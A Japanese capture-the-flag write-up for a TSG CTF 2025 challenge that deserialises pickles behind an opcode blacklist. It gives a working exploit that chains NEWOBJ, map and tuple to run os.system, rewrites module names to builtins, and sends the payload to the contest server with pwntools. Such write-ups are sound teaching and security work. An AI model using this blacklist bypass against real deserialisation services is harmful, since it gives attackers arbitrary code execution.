- Source: TSG CTF 2025
- Author: dai
※ この記事はTSG CTF 2025終了後に執筆・公開しています。
任意のpickleをデシリアライズできるが、一部のopecodeがブラックリストに設定されている。
import pickle, pickletools
BANNED_OPS = [
"EXT1",
"EXT2",
"EXT4",
"REDUCE",
"INST",
"OBJ",
"PERSID",
"BINPERSID",
]
data = bytes.fromhex(input("input pickle (hex)> "))
try:
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
print(f"Banned opcode used: {opcode.name}")
exit(0)
except Exception as e:
print("Error :(")
exit(0)
print(pickle.loads(data))
一般的に関数呼び出しで使われるREDUCEが封じられているため、それ以外の手法でos.system()やそれに類するプログラムを実行する手法を探す必要がある。
大会中はそんなのいくらでもあるだろ!のノリでLLMにぶん投げて解いてしまったので(しかもFirst Blood、すみません……)、改めて理解しながらwriteupを書いていく。
まずは記憶の中にあったこの記事を見たが、直接使えそうなテクニックは見つからず。
そこで関数の呼び出しではないが関数の呼び出しと同じことができるものを探すと、map(func, iterable)でfunc(iterable)と同じことができるらしい。このmapは関数ではなくクラスなので、NEWOBJによってデシリアライズされる。これはブラックリストに含まれていないので使えそうだ。
しかしmapオブジェクトは遅延評価されるため、デシリアライズで作成しただけでは内部のos.system()は実行されない。そこで、tupleに渡して読み込ませることで強制的に実行させる。
ここまでで、以下のようなコードを組み上げることができる。
import pickle
import os
class map:
def __getnewargs__(self):
# map(os.system, ("cat flag.txt",)) と同じ引数を指定
return (os.system, ("cat flag.txt",))
class tuple:
def __getnewargs__(self):
# tuple(map_instance) となるように指定
return (map(),)
if __name__ == "__main__":
payload = pickle.dumps(tuple(), protocol=4)
print(f"Payload (Hex): {payload.hex()}")
しかしこのpayloadではまだ動作しない。なぜならここで宣言しているmapやtupleはあくまでプログラマによって宣言された__main__.mapであり、関数実行に利用できるビルトインのbuiltins.mapとは別物になるためだ。
そこで、payloadの__main__をbuiltinsに置き換えてやる。幸い__main__もbuiltinsも8文字なので、ただ文字列置換するだけでpickleの構造を壊さずに修正することができる。(これすごい)
最終的なpayloadはこうなる。
import pickle
import os
class map:
def __getnewargs__(self):
# map(os.system, ("cat flag.txt",)) と同じ引数を指定
return (os.system, ("cat flag.txt",))
class tuple:
def __getnewargs__(self):
# tuple(map_instance) となるように指定
return (map(),)
def generate_payload():
# データ内には c__main__\ntuple ... と記録される
pickled_data = pickle.dumps(tuple(), protocol=4)
# モジュール名を書き換え
# __main__.tuple -> builtins.tuple
# __main__.map -> builtins.map
payload = pickled_data.replace(b'__main__', b'builtins')
return payload
if __name__ == "__main__":
payload = generate_payload()
print(f"Payload (Hex): {payload.hex()}")
from pwn import *
io = remote("35.194.98.181", 53117)
io.sendlineafter(b"input pickle (hex)> ", str(payload.hex()))
log.success(io.recvline(timeout=1).decode())
flagが得られた。中学の家庭科か社会以来にこの文字列を見た気がする。
TSGCTF{Reduce();Reuse();Recycle()}